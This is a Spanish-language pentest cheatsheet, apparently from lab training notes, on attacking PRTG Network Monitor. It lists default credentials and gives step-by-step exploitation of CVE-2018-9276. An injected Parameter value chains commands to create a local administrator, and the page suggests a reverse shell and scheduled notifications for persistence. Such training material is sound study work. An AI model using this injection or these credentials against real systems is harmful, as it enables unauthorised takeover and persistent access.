> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/prtg-network-monitor.md).

# PRTG Network Monitor

**PRTG Network Monitor** (Paessler) es software **agentless** de monitoreo de red: ancho de banda, uptime y estadísticas de routers, switches, servers, etc. Autodiscovery + protocolos (ICMP, SNMP, WMI, NetFlow) + REST API. Interfaz web AJAX.

> De 26 CVEs, solo 4 tienen PoC público fácil (2 XSS, 1 DoS, y una **command injection autenticada** que cubrimos aquí). Rara vez expuesto externamente; común en pentests **internos** (ver box Netmon de HTB).

### 1. Discovery / Footprinting / Enumeración

#### Nmap

Puertos web comunes (80, 443, **8080**):

```bash
sudo nmap -sV -p- --open -T4 10.129.201.50
# 8080/tcp open http Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
```

#### Credenciales por defecto

`prtgadmin:prtgadmin` — a menudo pre-rellenadas en el login y sin cambiar. EyeWitness y Nessus las detectan.

#### Confirmar versión

```bash
curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0..." | grep version
# PRTG Network Monitor 17.3.33.2830
```

> Versión **17.3.33.2830** → vulnerable a **CVE-2018-9276** (command injection autenticada, afecta < 18.2.39).

> Los default fallan, pero pocas pruebas después: `prtgadmin:Password123`.

### 2. CVE-2018-9276 (Command Injection autenticada)

Al crear una **notificación**, el campo **Parameter** se pasa directo a un script **PowerShell** sin sanitización.

#### Pasos

1. **Setup → Account Settings → Notifications**.
2. **Add new notification** → darle un nombre.
3. Tildar **EXECUTE PROGRAM**.
4. **Program File** → `Demo exe notification - outfile.ps1`.
5. En **Parameter**, inyectar el comando:

```
test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
```

6. **Save** → **Test** (ejecuta la notificación).

| Elemento                                 | Descripción                             |
| ---------------------------------------- | --------------------------------------- |
| `test.txt;`                              | Argumento benigno + `;` para encadenar. |
| `net user ... /add`                      | Crea usuario local.                     |
| `net localgroup administrators ... /add` | Lo añade a admins locales.              |
|                                          |                                         |

> En un assessment real, mejor un **reverse shell / C2** en vez de crear un usuario (menos intrusivo). La notificación se puede **programar** → útil como mecanismo de **persistencia**.

> Es **blind command injection** → sin feedback. Verificar por el listener o comprobando el acceso.

***

### 3. Confirmar acceso (CrackMapExec)

```bash
sudo crackmapexec smb 10.129.201.50 -u prtgadm1 -p Pwn3d_by_PRTG!
# APP03\prtgadm1:Pwn3d_by_PRTG! (Pwn3d!)
```

> `(Pwn3d!)` = admin local confirmado. Alternativas: RDP, WinRM (evil-winrm), o impacket (`wmiexec.py`, `psexec.py`).

### Resumen rápido

| Paso           | Método                              | Qué obtiene                        |
| -------------- | ----------------------------------- | ---------------------------------- |
| 1. Identificar | Nmap 8080, "Paessler PRTG"          | Confirma PRTG + versión.           |
| 2. Acceso      | `prtgadmin:prtgadmin` / débiles     | Login.                             |
| 3. RCE         | Notificación → Parameter con `;cmd` | Command injection (CVE-2018-9276). |
| 4. Confirmar   | CrackMapExec                        | Admin local.                       |

> El vector es una **command injection autenticada** en el campo Parameter de las notificaciones (se pasa a PowerShell sin sanitizar). Es **blind** → confirmar por listener o CrackMapExec. La notificación programada sirve de persistencia. Conecta con tu módulo de **Command Injection**: aquí el `;` encadena comandos igual que en el Host Checker.


---

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